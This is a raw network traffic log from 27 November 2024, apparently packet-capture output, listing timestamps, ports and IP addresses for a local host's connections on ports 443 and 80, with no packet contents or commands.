Nov 27, 2024 17:58:22.485763073 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.486116886 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.486129999 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.486562967 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.486568928 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.491794109 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.494200945 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.494213104 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.497807026 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.497816086 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.597233057 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:22.597404003 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:22.708576918 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.708600998 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.708728075 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.708743095 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.708858013 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.711990118 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.712050915 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.712127924 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.889269114 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.889298916 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.889357090 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.889385939 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.889427900 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.895802021 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.895869970 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.895912886 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.909555912 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.909584045 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.909651995 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.909667969 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.910377979 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.910442114 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.934135914 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.934181929 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.934256077 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:22.952334881 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.952389002 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:22.952510118 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.213207006 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.213207006 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.213232994 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.213243961 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.213244915 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.213265896 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.213285923 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.213293076 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.214868069 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.214904070 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.214943886 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.214952946 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.215018034 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.215018034 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.215027094 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.215035915 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.216078043 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.216078043 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.216087103 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.216109037 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.377373934 CET	49708	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.377418995 CET	443	49708	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.377520084 CET	49708	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.448616028 CET	49708	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.448636055 CET	443	49708	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.476948977 CET	49709	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.476994038 CET	443	49709	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.477058887 CET	49709	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.486001015 CET	49709	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.486015081 CET	443	49709	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.542083025 CET	49710	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.542119026 CET	443	49710	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.542227030 CET	49710	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.544054985 CET	49711	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.544097900 CET	443	49711	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.544161081 CET	49711	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.566065073 CET	49710	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.566088915 CET	443	49710	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.568650007 CET	49712	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.568684101 CET	443	49712	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.568778038 CET	49712	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.568917990 CET	49712	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.568931103 CET	443	49712	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.570693016 CET	49711	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:23.570704937 CET	443	49711	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:23.675853968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:23.796993017 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.132661104 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.132761002 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.132808924 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.132808924 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.136898994 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.136917114 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.137000084 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.143577099 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 17:58:24.145314932 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.145395994 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.145442963 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.145459890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.153724909 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.153800964 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.153855085 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.153908014 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.162273884 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.162410975 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.162422895 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.162560940 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.170669079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.170738935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.170739889 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.170809031 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.256660938 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.256784916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.256813049 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.256886005 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.260907888 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.260926962 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.260972023 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.261054039 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.266328096 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.266469002 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.266473055 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.266593933 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.274877071 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.274914980 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.275003910 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.275003910 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.283396006 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.283446074 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.283513069 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.283565998 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.343231916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.343257904 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.343446970 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.347291946 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.347368002 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.347390890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.347428083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.355736971 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.355889082 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.358820915 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.358885050 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.358977079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.359046936 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.367630005 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.367695093 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.367822886 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.367822886 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.375653982 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.375735044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.375755072 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.375821114 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.384161949 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.384231091 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.384243011 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.384320021 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.392592907 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.392687082 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.392690897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.392750978 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.401127100 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.401189089 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.401235104 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.401257992 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.409522057 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.409607887 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.409636974 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.409670115 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.417994976 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.418028116 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.418289900 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.418289900 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.426438093 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.426500082 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.426531076 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.426799059 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.467142105 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.467205048 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.467303038 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.467303038 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.469979048 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.470068932 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.470112085 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.470361948 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.475780010 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.475850105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.475888968 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.475943089 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.481466055 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.481535912 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.481667042 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.487287045 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.487402916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.487423897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.487459898 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.493000984 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.493073940 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.493089914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.493208885 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.498781919 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.498852968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.498881102 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.498976946 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.504488945 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.504643917 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.504846096 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.510307074 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.510368109 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.510426044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.510462999 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.553652048 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.553699017 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.553822041 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.555618048 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.555645943 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.555706024 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.555773020 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.559690952 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.559855938 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.559947014 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.563592911 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.563705921 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.563816071 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.567902088 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.567966938 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.567987919 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.568068981 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.571619987 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.571768045 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.571856976 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.575725079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.575767994 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.575854063 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.579729080 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.579849005 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.580023050 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.583761930 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.583806992 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.583945036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.587897062 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.588011026 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.588026047 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.588087082 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.592495918 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.592571020 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.592649937 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.596390963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.596450090 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.596532106 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.599363089 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.599461079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.599545956 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.603391886 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.603502989 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.603642941 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.607470989 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.607530117 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.607588053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.607633114 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.611546993 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.611630917 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.611850977 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.611903906 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.615545988 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.615643024 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.615726948 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.615726948 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.619533062 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.619620085 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.677973986 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.678121090 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.678145885 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.678206921 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.679617882 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.679693937 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.679704905 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.679748058 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.682969093 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.683098078 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.683181047 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.683268070 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.685926914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.686055899 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.686090946 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.686144114 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.689075947 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.689151049 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.689214945 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.689276934 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.692295074 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.692400932 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.692416906 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.692471027 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.695436954 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.695542097 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.695545912 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.695600033 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.698622942 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.698707104 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.698725939 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.698772907 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.701800108 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.701843023 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.701879978 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.701905966 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.705390930 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.705493927 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.705498934 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.705657959 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.708169937 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.708337069 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.708426952 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.711286068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.711400986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.711405993 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.711484909 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.714407921 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.714514971 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.714540958 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.714611053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.717448950 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.717519045 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.717525959 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.717612982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.720354080 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.720429897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.764278889 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.764343977 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.764408112 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.764480114 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.765299082 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.765383005 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.765470028 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.767534018 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.767584085 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.767616034 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.767636061 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.769642115 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.769690037 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.769808054 CET	49702	80	192.168.2.7	185.215.113.206
